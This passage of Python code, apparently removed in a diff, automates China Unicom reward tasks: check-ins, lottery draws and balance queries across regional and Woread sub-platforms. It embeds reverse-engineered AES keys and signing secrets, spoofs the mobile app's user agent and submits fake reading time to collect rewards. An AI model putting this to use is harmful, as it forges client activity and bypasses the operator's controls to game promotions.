- res = self.session.post(url, json=body, headers=headers).json()
- if res.get("code") == 200:
- self.log("沃云手机: 积分签到成功", notify=True)
- else:
- pass # Fail silently or log if needed context
- except Exception:
- pass
-
- def wostore_cloud_task_list(self, user_token):
- try:
- url = "https://uphone.wostore.cn/h5api/activity-service/user/task/list"
- body = {"activityCode": "Lottery_251201"}
- headers = {"X-USR-TOKEN": user_token}
- self.session.post(url, json=body, headers=headers)
- except Exception:
- pass
-
- def wostore_cloud_get_chance(self, user_token, task_code):
- try:
- url = "https://uphone.wostore.cn/h5api/activity-service/user/task/raffle/get"
- body = {"activityCode": "Lottery_251201", "taskCode": task_code}
- headers = {"X-USR-TOKEN": user_token}
- self.session.post(url, json=body, headers=headers)
- except Exception:
- pass
-
- def wostore_cloud_draw(self, user_token):
- try:
- url = "https://uphone.wostore.cn/h5api/activity-service/lottery"
- body = {"activityCode": "Lottery_251201"}
- headers = {"X-USR-TOKEN": user_token}
- res = self.session.post(url, json=body, headers=headers).json()
- if res.get("code") == 200:
- prize = res.get("data", {}).get("prizeName", "未中奖")
- self.log(f"沃云手机: 抽奖结果 - {prize}", notify=True)
- else:
- self.log(f"沃云手机: 抽奖失败 - {res.get('msg', str(res))}")
- except Exception as e:
- self.log(f"沃云手机: 抽奖异常 {e}")
-
- def wostore_cloud_task(self, is_query_only=False):
- self.log("==== 沃云手机 ====")
- if is_query_only:
- self.log("沃云手机: [查询模式] 此平台暂无资产或余额可供查询", notify=True)
- return
- target_url = "https://h5forphone.wostore.cn/cloudPhone/dialogCloudPhone.html?channel_id=ST-Zujian001-gs&cp_id=91002997"
- ticket_res = self.openPlatLineNew(target_url)
- if not ticket_res:
- self.log("沃云手机: 获取入口 Ticket 失败")
- return
- ticket = ticket_res
- if isinstance(ticket, dict):
- ticket = ticket.get('ticket')
- if not ticket:
- self.log("沃云手机: 获取入口 Ticket 失败 (为空)")
- return
- tokens = self.wostore_cloud_login(ticket)
- if not tokens:
- self.log("沃云手机: 登录失败,跳过后续任务")
- return
- user_token = tokens['user_token']
- self.wostore_cloud_sign(user_token)
- time.sleep(2)
- self.wostore_cloud_task_list(user_token)
- time.sleep(1)
- self.wostore_cloud_get_chance(user_token, "2508-01")
- time.sleep(2)
- self.wostore_cloud_draw(user_token)
-
- def regional_task(self, is_query_only=False):
- """区域专区任务入口"""
- is_xinjiang = False
- is_henan = False
- is_yunnan = False
- if hasattr(self, 'city_info') and self.city_info and isinstance(self.city_info, list):
- try:
- for city in self.city_info:
- pro_name = city.get('proName', '')
- if "新疆" in pro_name: is_xinjiang = True
- if "河南" in pro_name: is_henan = True
- if "云南" in pro_name: is_yunnan = True
- except: pass
- if is_query_only:
- self.log("==== 区域专区 (查询模式) ====")
- if is_xinjiang:
- self.log("新疆专区: [查询模式] 跳过每日打卡,尝试查询每月抽奖记录")
- try:
- ticket_res = self.openPlatLineNew("https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=155&type=02")
- if ticket_res and ticket_res.get("ticket"):
- token = self.xj_get_token(ticket_res.get("ticket"))
- if token:
- self.xj_query_monthly_draw_records(token)
- except Exception as e:
- self.log(f"新疆专区: [查询模式] 查询每月抽奖记录异常 {e}")
- if is_henan:
- is_signed = self.shangdu_get_sign_status()
- if is_signed is True:
- self.log("河南商都: [状态查询] 今日已签到")
- elif is_signed is False:
- self.log("河南商都: [状态查询] 今日未签到")
- else:
- self.log("河南商都: [状态查询] 查询失败")
- if is_yunnan:
- self.yunnan_life_task(is_query_only=True)
- return
- if is_xinjiang:
- self.log("==== 新疆专区 ====")
- self.xj_task_main()
- if is_henan:
- self.log("==== 河南商都 ====")
- self.shangdu_task_main()
- if is_yunnan:
- self.log("==== 云南生活 ====")
- self.yunnan_life_task()
-
- def yunnan_life_base_headers(self, token=None, extra=None):
- headers = {
- "Referer": "https://wsm.wx.yn10010.com/",
- "Sec-Fetch-Dest": "empty",
- "Sec-Fetch-Mode": "cors",
- "Sec-Fetch-Site": "same-origin",
- "Content-Type": "application/json;charset=UTF-8",
- "Accept-Language": "zh-CN,en-US;q=0.8",
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.1001};ltst;OSVersion/16.6",
- }
- if token:
- headers["token"] = token
- if extra:
- headers.update(extra)
- return headers
-
- def yunnan_life_calc_sign(self, payload):
- parts = []
- for key in sorted(payload.keys()):
- value = payload[key]
- if isinstance(value, dict):
- encoded = quote(json.dumps(value, ensure_ascii=False, separators=(',', ':')), safe="")
- else:
- encoded = quote(str(value), safe="")
- parts.append(f"{key}={encoded}")
- raw = "&".join(parts).lower() + YUNNAN_LIFE_SIGN_SALT
- return hashlib.md5(hashlib.md5(raw.encode('utf-8')).hexdigest().encode('utf-8')).hexdigest()
-
- def yunnan_life_signed_headers(self, token, payload):
- return self.yunnan_life_base_headers(token, {
- "Origin": YUNNAN_LIFE_BASE_URL,
- "accessKeyId": YUNNAN_LIFE_ACCESS_KEY,
- "time": str(round(time.time() * 1000)),
- "sign": self.yunnan_life_calc_sign(payload),
- })
-
- def yunnan_life_get_ticket(self):
- if not self.ecs_token:
- return None
- try:
- res = self.session.get(
- "https://m.client.10010.com/mobileService/openPlatform/openPlatLineNew.htm",
- params={
- "to_url": YUNNAN_LIFE_TO_URL,
- "amp;s": "100000425",
- "amp;boothCode": "YN-QCQYCS245",
- "amp;boothAccessMode": "24",
- },
- headers={
- "Cookie": f"ecs_token={self.ecs_token}",
- "Referer": "https://wsm.wx.yn10010.com/",
- "Accept-Language": "zh-CN,zh-Hans;q=0.9",
- "Sec-Fetch-Mode": "navigate",
- "Sec-Fetch-Dest": "document",
- "Sec-Fetch-Site": "cross-site",
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "User-Agent": self.yunnan_life_base_headers().get("User-Agent"),
- },
- allow_redirects=False,
- timeout=15,
- )
- location = res.headers.get("Location", "")
- match = re.search(r'ticket=([^&]+)', location)
- return match.group(1) if match else None
- except Exception as e:
- self.log(f"云南生活: 获取 ticket 异常: {e}")
- return None
-
- def yunnan_life_get_token(self, ticket):
- if not ticket:
- return None
- try:
- resp = self.session.get(
- f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/getPhoneNumber",
- params={"ticket": ticket},
- headers=self.yunnan_life_base_headers(extra={"Content-Type": "application/json;charset=gb2312"}),
- timeout=15,
- )
- token = resp.headers.get("token") or resp.headers.get("Token")
- if not token:
- try:
- data = resp.json()
- except Exception:
- data = {}
- token = data.get("token") or data.get("data", {}).get("token")
- if not token:
- self.log(f"云南生活: 未找到 token,响应: {resp.text[:160]}")
- return None
- return token if str(token).startswith("Bearer ") else f"Bearer {token}"
- except Exception as e:
- self.log(f"云南生活: 获取 token 异常: {e}")
- return None
-
- def yunnan_life_login(self):
- ticket = self.yunnan_life_get_ticket()
- if not ticket:
- self.log("云南生活: 获取 ticket 失败")
- return None
- token = self.yunnan_life_get_token(ticket)
- if not token:
- self.log("云南生活: 获取 token 失败")
- return None
- return token
-
- def yunnan_life_do_task(self, token, payload):
- task_name = payload.get("taskName", payload.get("taskCode", "未知任务"))
- try:
- res = self.session.post(
- f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/activity/task/addTaskUser",
- data=json.dumps(payload, ensure_ascii=False, separators=(',', ':')),
- headers=self.yunnan_life_signed_headers(token, payload),
- timeout=15,
- ).json()
- if res.get("resultCode") == "0000":
- self.log(f"云南生活: ✅ {task_name}")
- else:
- self.log(f"云南生活: ❌ {task_name}: {res.get('resultMsg', '')}")
- except Exception as e:
- self.log(f"云南生活: [{task_name}] 异常: {e}")
-
- def yunnan_life_do_lottery(self, token, times=2):
- payload = {"actId": YUNNAN_LIFE_ACT_ID, "boothCode": ""}
- headers = self.yunnan_life_base_headers(token, {"Origin": YUNNAN_LIFE_BASE_URL})
- for i in range(times):
- try:
- res = self.session.post(
- f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/acttmpl/lottery/actLuckyDrawy",
- data=json.dumps(payload, ensure_ascii=False, separators=(',', ':')),
- headers=headers,
- timeout=15,
- ).json()
- if res.get("resultCode") == "0000":
- self.log(f"云南生活: ✅ 第{i + 1}次抽奖请求成功")
- else:
- self.log(f"云南生活: ❌ 第{i + 1}次抽奖失败: {res.get('resultMsg', '')}")
- except Exception as e:
- self.log(f"云南生活: 第{i + 1}次抽奖异常: {e}")
- if i < times - 1:
- time.sleep(2)
-
- def yunnan_life_get_lottery_results(self, token):
- try:
- resp = self.session.get(
- f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/acttmpl/lottery/getUserRecordListActInfo",
- params={"actId": YUNNAN_LIFE_ACT_ID, "periodId": YUNNAN_LIFE_ACT_ID},
- headers=self.yunnan_life_base_headers(token, {"Content-Type": "application/json;charset=gb2312"}),
- timeout=15,
- )
- data = resp.json()
- today = datetime.now().strftime("%Y-%m-%d")
- awards = []
- for item in data.get("data", {}).get("recordList", []):
- if str(item.get("createTime", "")).startswith(today):
- awards.append(item.get("awardName", "未知"))
- if awards:
- for award in awards:
- self.log(f"云南生活: 🎁 抽奖结果 - {award}", notify=True)
- else:
- self.log("云南生活: 今日暂无抽奖记录")
- except Exception as e:
- self.log(f"云南生活: 查询抽奖结果异常: {e}")
-
- def yunnan_life_get_bean_balance(self, token):
- try:
- payload = {}
- res = self.session.post(
- f"{YUNNAN_LIFE_BASE_URL}/user/beans/api/getTotalAvailableBeansByPhone",
- data=json.dumps(payload, ensure_ascii=False, separators=(',', ':')),
- headers=self.yunnan_life_signed_headers(token, payload),
- timeout=15,
- ).json()
- if res.get("resultCode") == "0000":
- self.log(f"云南生活: 💰 当前云豆余额: {res.get('data', 0)}", notify=True)
- else:
- self.log(f"云南生活: 获取云豆失败: {res.get('resultMsg', '')}")
- except Exception as e:
- self.log(f"云南生活: 查询云豆异常: {e}")
-
- def yunnan_life_task(self, is_query_only=False):
- token = self.yunnan_life_login()
- if not token:
- return
- if is_query_only:
- self.log("云南生活: [查询模式] 查询云豆余额")
- self.yunnan_life_get_bean_balance(token)
- return
- for task in YUNNAN_LIFE_TASKS:
- self.yunnan_life_do_task(token, task)
- time.sleep(2)
- self.yunnan_life_do_lottery(token, times=2)
- self.yunnan_life_get_lottery_results(token)
- self.yunnan_life_get_bean_balance(token)
-
- def xj_task_main(self):
- ticket_res = self.openPlatLineNew("https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=155&type=02")
- if not ticket_res or not ticket_res.get("ticket"):
- self.log("新疆专区: 获取入口 ticket 失败")
- return
- token = self.xj_get_token(ticket_res.get("ticket"))
- if token:
- self.xj_do_draw(token, "Jan2026Act")
- day = datetime.now().day
- if 19 <= day <= 25:
- self.xj_usersday_task(token)
- self.xj_monthly_draw_task(token)
-
- def xj_get_token(self, ticket):
- try:
- url = "https://zy100.xj169.com/touchpoint/openapi/getTokenAndCity"
- if isinstance(ticket, dict):
- ticket = ticket.get("ticket")
- data = {"ticket": ticket}
- headers = {
- "Referer": f"https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=155&type=02&ticket={ticket}",
- "User-Agent": XJ_USER_AGENT,
- }
- res = self.session.post(url, data=data, headers=headers).json()
- result = res.get('result', {})
- if result.get('code') == 0 and result.get('data', {}).get('token'):
- return result.get('data', {}).get('token')
- token = res.get("data", {}).get("token")
- if token:
- return token
- return None
- except Exception as e:
- self.log(f"新疆专区: 获取 token 异常 {e}")
- return None
-
- def xj_do_draw(self, token, act_id):
- try:
- url = f"https://zy100.xj169.com/touchpoint/openapi/marchAct/draw_{act_id}"
- data = {"activityId": f"daka{act_id}", "prizeId": ""}
- headers = {"userToken": token, "User-Agent": XJ_USER_AGENT}
- res = self.session.post(url, data=data, headers=headers).json()
- msg = res.get('result', {}).get('msg') or res.get('result', {}).get('data') or "失败"
- self.log(f"新疆专区: 每日打卡 - {msg}", notify=True)
- except Exception as e:
- self.log(f"新疆专区: 打卡异常 {e}")
-
- def xj_usersday_task(self, token):
- try:
- url = "https://zy100.xj169.com/touchpoint/openapi/marchAct/draw_UsersDay2025Act"
- data = {"activityId": "usersDay2025Act", "prizeId": "hfq_twenty"}
- headers = {"userToken": token, "User-Agent": XJ_USER_AGENT}
- res = self.session.post(url, data=data, headers=headers).json()
- msg = res.get('result', {}).get('msg') or res.get('result', {}).get('data') or "失败"
- self.log(f"新疆客户日: 秒杀结果 - {msg}", notify=True)
- except Exception as e:
- self.log(f"新疆客户日: 秒杀异常 {e}")
-
- def xj_monthly_draw_once(self, token):
- headers = {
- "User-Agent": XJ_USER_AGENT,
- "userToken": token,
- "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
- }
- payload = {"activityId": XJ_ACTIVITY_ID, "prizeId": "", "commHighFlag": "false"}
- try:
- res = self.session.post(
- f"https://zy100.xj169.com/touchpoint/openapi/themeAct/draw_{XJ_ACTIVITY_ID}",
- data=payload,
- headers=headers,
- timeout=10,
- ).json()
- code = res.get("code")
- msg = str(res.get("msg", ""))
- msg_type = str(res.get("msgType", ""))
- data = res.get("data", "")
- if code == "ERROR":
- data_str = str(data)
- if "已用完" in data_str or "已抽完" in data_str or msg_type == "101":
- return "done", f"今日机会已用尽 ({data_str or msg or '无可用次数'})"
- if "频率过高" in msg:
- return "done", "接口频率限制"
- if "缺少参数" in msg:
- return "invalid", "token 已失效"
- return "done", f"抽奖失败: {data_str or msg or '未知错误'}"
- if code == "SUCCESS":
- if msg == "thanks1":
- return "continue", f"未中奖 ({data or msg})"
- return "won", f"中奖: {data or '未知奖品'}"
- if str(code) == "401":
- return "invalid", "token 已失效"
- return "continue", f"未中奖 ({msg or data or code})"
- except Exception as e:
- return "error", f"请求异常: {e}"
-
- def xj_query_monthly_draw_records(self, token):
- headers = {
- "User-Agent": XJ_USER_AGENT,
- "userToken": token,
- "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
- }
- try:
- res = self.session.post(
- "https://zy100.xj169.com/touchpoint/openapi/drawAct/getPrizesScroll",
- data={"activityId": XJ_ACTIVITY_ID},
- headers=headers,
- timeout=10,
- ).json()
- data = res.get("data", [])
- if not data:
- self.log("新疆专区: 每月抽奖暂无中奖记录")
- return
- if isinstance(data, dict):
- data = [data]
- if isinstance(data, list) and data and isinstance(data[0], str):
- for item in data[:5]:
- self.log(f"新疆专区: 每月抽奖记录 - {item}", notify=True)
- return
- displayed = 0
- for item in data:
- if not isinstance(item, dict):
- continue
- prize_name = item.get("prizeName") or item.get("prizeId") or "未知奖品"
- draw_ts = safe_int(item.get("drawDate"), 0)
- draw_date = datetime.fromtimestamp(draw_ts / 1000).strftime("%m-%d") if draw_ts else "未知时间"
- self.log(f"新疆专区: 每月抽奖记录 - {prize_name} ({draw_date})", notify=True)
- displayed += 1
- if displayed >= 5:
- break
- if displayed == 0:
- self.log("新疆专区: 每月抽奖暂无可展示记录")
- except Exception as e:
- self.log(f"新疆专区: 查询每月抽奖记录异常 {e}")
-
- def xj_monthly_draw_task(self, token):
- self.log(f"新疆专区: 每月抽奖活动 {XJ_ACTIVITY_ID}")
- for i in range(XJ_MONTHLY_DRAW_ATTEMPT_COUNT):
- status, msg = self.xj_monthly_draw_once(token)
- self.log(
- f"新疆专区: 每月抽奖第{i + 1}次 - {msg}",
- notify=status == "won",
- )
- if status in {"done", "won", "invalid"}:
- break
- time.sleep(random.uniform(1, 2))
- self.xj_query_monthly_draw_records(token)
-
- def shangdu_get_sign_status(self):
- try:
- url = "https://app.shangdu.com/monthlyBenefit/v1/signIn/queryCumulativeSignAxis"
- headers = {
- "Origin": "https://app.shangdu.com",
- "Referer": "https://app.shangdu.com/monthlyBenefit/index.html",
- "edop_flag": "0", "Content-Type": "application/json"
- }
- res = self.session.post(url, json={}, headers=headers).json()
- if res.get('result', {}).get('code') == "0000":
- return res.get('result', {}).get('data', {}).get('todaySignFlag') == "1"
- return None
- except: return None
-
- def shangdu_sign_retry(self):
- try:
- url = "https://app.shangdu.com/monthlyBenefit/v1/signIn/userSignIn"
- headers = {
- "Origin": "https://app.shangdu.com",
- "Referer": "https://app.shangdu.com/monthlyBenefit/index.html",
- "edop_flag": "0", "X-Requested-With": "XMLHttpRequest",
- "Content-Type": "application/json"
- }
- res = self.session.post(url, json={}, headers=headers).json()
- code = res.get('result', {}).get('code')
- data = res.get('result', {}).get('data', {})
- if code == "0000":
- prize = data.get('prizeResp', {}).get('prizeName')
- if prize: self.log(f"河南商都: 签到成功(重试) - 获得 {prize}", notify=True)
- else: self.log("河南商都: 签到成功(重试)")
- elif code == "0019":
- self.log("河南商都: 重试仍返回重复签到")
- else:
- self.log(f"河南商都: A签到重试失败 - {res.get('result', {}).get('msg')}")
- except Exception as e:
- self.log(f"河南商都: 签到重试异常 {e}")
-
- def shangdu_task_main(self):
- if not self.ecs_token: return
- url = f"https://m.client.10010.com/edop_ng/getTicketByNative?appId=edop_unicom_4b80047a&token={self.ecs_token}"
- res = self.session.get(url).json()
- ticket = res.get('result', {}).get('ticket')
- if not ticket:
- self.log("河南商都: 获取Ticket失败")
- return
- login_url = f"https://app.shangdu.com/monthlyBenefit/v1/common/config?ticket={ticket}"
- headers_login = {
- "Origin": "https://app.shangdu.com",
- "Referer": "https://app.shangdu.com/monthlyBenefit/index.html",
- "edop_flag": "0", "Accept": "application/json, text/plain, */*"
- }
- self.session.get(login_url, headers=headers_login)
- time.sleep(1.5)
- sign_url = "https://app.shangdu.com/monthlyBenefit/v1/signIn/userSignIn"
- headers_sign = {
- "Origin": "https://app.shangdu.com",
- "Referer": "https://app.shangdu.com/monthlyBenefit/index.html",
- "edop_flag": "0", "X-Requested-With": "XMLHttpRequest",
- "Content-Type": "application/json"
- }
- res_sign = self.session.post(sign_url, json={}, headers=headers_sign).json()
- code = res_sign.get('result', {}).get('code')
- data = res_sign.get('result', {}).get('data', {})
- if code == "0000":
- if data.get('value') == "0001":
- self.log("河南商都: 签到失败 - Cookie无效")
- else:
- prize = data.get('prizeResp', {}).get('prizeName', '已签到')
- self.log(f"河南商都: 签到结果 - {prize}", notify=True)
- elif code == "0019":
- time.sleep(1)
- is_signed = self.shangdu_get_sign_status()
- if is_signed is True:
- self.log("河南商都: 今日已签到")
- elif is_signed is False:
- self.log("河南商都: 状态未签到但返回重复,尝试重试...")
- time.sleep(2)
- self.shangdu_sign_retry()
- else:
- self.log("河南商都: 今日已签到 (状态未知)")
- else:
- self.log(f"河南商都: 签到失败 - {code} : {res_sign.get('result', {}).get('msg')}")
-
- def woread_encrypt(self, data):
- try:
- key = b'woreadst^&*12345'
- iv = b'16-Bytes--String'
- cipher = AES.new(key, AES.MODE_CBC, iv)
- if isinstance(data, dict):
- data_str = json.dumps(data, separators=(',', ':'), ensure_ascii=False)
- else:
- data_str = str(data)
- pad_len = 16 - (len(data_str.encode('utf-8')) % 16)
- data_str = data_str + chr(pad_len) * pad_len
- ciphertext = cipher.encrypt(data_str.encode('utf-8'))
- hex_str = ciphertext.hex()
- return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8')
- except Exception as e:
- self.log(f"woread_encrypt error: {e}")
- return ""
-
- def woread_auth(self):
- try:
- product_id = "10000002"
- secret_key = "7k1HcDL8RKvc"
- timestamp = str(round(time.time() * 1000))
- sign_str = f"{product_id}{secret_key}{timestamp}"
- md5_hash = hashlib.md5(sign_str.encode('utf-8')).hexdigest()
- date_str = datetime.now().strftime('%Y%m%d%H%M%S')
- crypt_text_obj = {"timestamp": date_str}
- encoded_sign = self.woread_encrypt(crypt_text_obj)
- url = f"https://10010.woread.com.cn/ng_woread_service/rest/app/auth/{product_id}/{timestamp}/{md5_hash}"
- headers = {
- "Content-Type": "application/json",
- "User-Agent": COMMON_CONSTANTS['UA'],
- }
- res = self.session.post(url, json={"sign": encoded_sign}, headers=headers).json()
- if res.get('code') == "0000":
- self.woread_accesstoken = res.get('data', {}).get('accesstoken')
- return True
- else:
- self.log(f"阅读专区认证失败: {res.get('message')}")
- return False
- except Exception as e:
- self.log(f"woread_auth error: {e}")
- return False
-
- def woread_login(self):
- try:
- if not hasattr(self, 'woread_accesstoken') or not self.woread_accesstoken:
- if not self.woread_auth():
- return False
- if not self.token_online:
- self.log("阅读专区: 缺少 token_online,无法登录")
- return False
- token_enc = self.woread_encrypt(self.token_online)
- phone_str = self.account_mobile if self.account_mobile else "13800000000"
- phone_enc = self.woread_encrypt(phone_str)
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
- inner_json = json.dumps({
- "tokenOnline": token_enc,
- "phone": phone_enc,
- "timestamp": timestamp
- }, separators=(',', ':'), ensure_ascii=False)
- encoded_sign = self.woread_encrypt(inner_json)
- url = "https://10010.woread.com.cn/ng_woread_service/rest/account/login"
- headers = {
- "Content-Type": "application/json",
- "User-Agent": COMMON_CONSTANTS['UA'],
- }
- if hasattr(self, 'woread_accesstoken') and self.woread_accesstoken:
- headers["accesstoken"] = self.woread_accesstoken
- res = self.session.post(url, json={"sign": encoded_sign}, headers=headers, timeout=15).json()
- if res.get('code') == "0000":
- data = res.get('data', {})
- self.woread_token = data.get('token')
- self.woread_userid = data.get('userid')
- self.woread_userindex = data.get('userindex')
- self.woread_verifycode = data.get('verifycode')
- if data.get('phone'):
- self.mobile = data['phone']
- self.log("阅读专区: 登录成功")
- return True
- else:
- self.log(f"阅读专区登录失败: {res.get('message')}")
- return False
- except Exception as e:
- self.log(f"woread_login error: {e}")
- return False
-
- def woread_queryTicketAccount(self):
- try:
- if not hasattr(self, 'woread_token') or not self.woread_token:
- if not self.woread_login():
- return
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
- params = {
- "timestamp": timestamp,
- "phone": self.mobile if self.mobile else "",
- "token": self.woread_token
- }
- sign = self.woread_encrypt(params)
- url = "https://10010.woread.com.cn/ng_woread_service/rest/phone/vouchers/queryTicketAccount"
- headers = {
- "Content-Type": "application/json",
- "User-Agent": COMMON_CONSTANTS['UA'],
- }
- if hasattr(self, 'woread_accesstoken') and self.woread_accesstoken:
- headers["accesstoken"] = self.woread_accesstoken
- res = self.session.post(url, json={"sign": sign}, headers=headers).json()
- if res.get('code') == "0000":
- data = res.get('data', {})
- usable_num = int(data.get('usableNum', 0))
- balance_yuan = "{:.2f}".format(usable_num / 100)
- self.log(f"💰 [资产-阅读红包] 余额: {balance_yuan}元", notify=True)
- else:
- self.log(f"阅读红包查询失败: {res.get('message')}")
- except Exception as e:
- self.log(f"woread_queryTicketAccount error: {e}")
-
- def woread_get_book_info(self):
- try:
- url1 = "https://10010.woread.com.cn/ng_woread_service/rest/basics/recommposdetail/14856"
- headers = {
- "User-Agent": COMMON_CONSTANTS['UA'],
- "accesstoken": self.woread_accesstoken
- }
- res1 = self.session.get(url1, headers=headers)
- try:
- res1 = res1.json()
- except:
- self.log(f"阅读专区: 获取书架响应非JSON: {res1.text[:100]}")
- return False
- if res1.get('code') == '0000':
- msg_list = res1.get('data', {}).get('booklist', {}).get('message', [])
- if msg_list:
- self.wr_catid = msg_list[0].get('catindex')
- self.wr_cntindex = msg_list[0].get('cntindex')
- bind_info = res1.get('data', {}).get('bindinfo', [])
- if bind_info:
- self.wr_cardid = bind_info[0].get('recommposiindex')
- else:
- self.log("阅读专区: 获取书架失败")
- return False
- if not getattr(self, 'wr_cntindex', None): return False
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
- param = {
- "curPage": 1, "limit": 30, "index": self.wr_cntindex, "sort": 0, "finishFlag": 1,
- "timestamp": timestamp,
- "phone": self.mobile if self.mobile else "",
- "token": getattr(self, 'woread_token', ''),
- "userid": getattr(self, 'woread_userid', ''),
- "userId": getattr(self, 'woread_userid', ''),
- "userIndex": getattr(self, 'woread_userindex', ''),
- "verifyCode": getattr(self, 'woread_verifycode', '')
- }
- sign = self.woread_encrypt(param)
- url2 = "https://10010.woread.com.cn/ng_woread_service/rest/cnt/chalist"
- res2_raw = self.session.post(url2, json={"sign": sign}, headers=headers)
- try:
- res2 = res2_raw.json()
- except:
- self.log(f"阅读专区: 获取章节响应非JSON: {res2_raw.text[:100]}")
- return False
- lst = res2.get('list', []) or res2.get('data', {}).get('list', [])
- if lst:
- content = lst[0].get('charptercontent', [])
- if content:
- self.wr_chapterallindex = content[0].get('chapterallindex')
- self.wr_chapterid = content[0].get('chapterid')
- return True
- return False
- except Exception as e:
- self.log(f"阅读专区: 获取书籍信息异常: {e}")
- return False
-
- def woread_read_process(self):
- if not self.woread_get_book_info():
- self.log("阅读专区: 无法获取书籍信息,跳过阅读")
- return
- headers = {
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}",
- "accesstoken": self.woread_accesstoken
- }
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
- phone = self.mobile if self.mobile else ""
- token = getattr(self, 'woread_token', '')
- userid = getattr(self, 'woread_userid', '')
- userindex = getattr(self, 'woread_userindex', '')
- verifycode = getattr(self, 'woread_verifycode', '')
- common_params = {
- "timestamp": timestamp,
- "phone": phone,
- "token": token,
- "userid": userid,
- "userId": userid,
- "userIndex": userindex,
- "userAccount": phone,
- "verifyCode": verifycode
- }
- param = {
- "chapterAllIndex": self.wr_chapterallindex,
- "cntIndex": self.wr_cntindex,
- "cntTypeFlag": "1",
- **common_params
- }
- sign = self.woread_encrypt(param)
- hb_url = f"https://10010.woread.com.cn/ng_woread_service/rest/cnt/wordsDetail?catid={self.wr_catid}&cardid={self.wr_cardid}&cntindex={self.wr_cntindex}&chapterallindex={self.wr_chapterallindex}&chapterseno=1"
- self.session.post(hb_url, json={"sign": sign}, headers=headers)
- add_param = {
- "readTime": "2",
- "cntIndex": self.wr_cntindex,
- "cntType": "1",
- "catid": "0",
- "pageIndex": "",
- "cardid": self.wr_cardid,
- "cntindex": self.wr_cntindex,
- "cnttype": "1",
- "chapterallindex": self.wr_chapterallindex,
- "chapterseno": "1",
- "channelid": "",
- "chapterid": self.wr_chapterid,
- "readtype": 1,
- "isend": "0",
- **common_params
- }
- add_sign = self.woread_encrypt(add_param)
- add_url = "https://10010.woread.com.cn/ng_woread_service/rest/history/addReadTime"
- res = self.session.post(add_url, json={"sign": add_sign}, headers=headers).json()
- res_code = str(res.get('code', ''))
- res_msg = str(res.get('message', ''))
- if res_code == '0000':
- self.log("阅读专区: 模拟阅读成功")
- elif res_code == '9999' or '9999' in res_msg or '不存在阅读记录' in res_msg:
- # addReadTime 返回9999不影响实际阅读结果
- self.log("阅读专区: 模拟阅读成功(阅读记录已提交)")
- else:
- self.log(f"阅读专区: 模拟阅读失败: {res_msg or res}")
-
-
-
- def woread_draw_new(self):
- try:
- headers = {
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}",
- "accesstoken": self.woread_accesstoken
- }
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
- param = {
- "activeindex": "8051",
- "timestamp": timestamp, "phone": self.mobile if self.mobile else "", "token": self.woread_token
- }
- sign = self.woread_encrypt(param)
- url = "https://10010.woread.com.cn/ng_woread_service/rest/basics/doDraw"
- res = self.session.post(url, json={"sign": sign}, headers=headers).json()
- if res.get('code') == '0000':
- prize = res.get('data', {}).get('prizedesc')
- if prize:
- self.log(f"阅读专区: 抽奖成功: {prize}", notify=True)
- else:
- self.log("阅读专区: 抽奖完成 (未中奖)")
- else:
- self.log(f"阅读专区: 抽奖失败: {res.get('message')}")
- except Exception as e:
- self.log(f"woread_draw_new error: {e}")
-
- def woread_task(self):
- self.log("==== 联通阅读 ====")
- if not self.woread_login():
- self.log("阅读专区: 登录失败,跳过任务")
- return
- self.woread_queryTicketAccount()
- self.woread_read_process()
- time.sleep(3)
- self.woread_draw_new()
-
- def query_market_raffle_records(self, user_token):
- self.log("权益超市: 正在查询抽奖记录...")
- try:
- url = "https://backward.bol.wo.cn/prod-api/market/contactReceive/queryReceiveRecord"
- headers = {
- "Authorization": f"Bearer {user_token}",
- "User-Agent": COMMON_CONSTANTS["MARKET_UA"],
- "Origin": "https://contact.bol.wo.cn",
- "Referer": "https://contact.bol.wo.cn/"
- }
- mobile = getattr(self, "account_mobile", getattr(self, "mobile", ""))
- payload = {
- "isReceive": None,
- "receiveStatus": None,
- "limit": 20,
- "page": 1,
- "mobile": mobile,
- "businessSources": ["3", "4", "5", "6", "99"],
- "isPromotion": 1,
- "returnFormatType": 1
- }
- res = self.session.post(url, json=payload, headers=headers).json()
- if res.get('code') == 200:
- records = res.get('data', {}).get('recordObjs', [])
- if records:
- display_records = records[:10]
- self.log(f"权益超市: 最近 {len(display_records)} 条抽奖记录:", notify=True)
- for item in display_records:
- self.log(f" - [{item.get('receiveTime')}] {item.get('recordName')}", notify=True)
- else:
- self.log("权益超市: 无近期抽奖记录。")
- else:
- self.log(f"权益超市: 查询抽奖记录失败: {res.get('msg')}")
- except Exception as e:
- self.log(f"query_market_raffle_records error: {e}")
-
- def query_phone_recharge_records(self, user_token):
- self.log("权益超市: 正在查询本月话费抢购记录...")
- try:
- url = "https://backward.bol.wo.cn/prod-api/market/contactReceive/queryReceiveRecord"
- headers = {
- "Authorization": f"Bearer {user_token}",
- "User-Agent": COMMON_CONSTANTS["MARKET_UA"],
- "Origin": "https://contact.bol.wo.cn",
- "Referer": "https://contact.bol.wo.cn/"
- }
- mobile = getattr(self, "account_mobile", getattr(self, "mobile", ""))
- payload = {
- "isReceive": None,
- "receiveStatus": None,
- "limit": 50,
- "page": 1,
- "mobile": mobile,
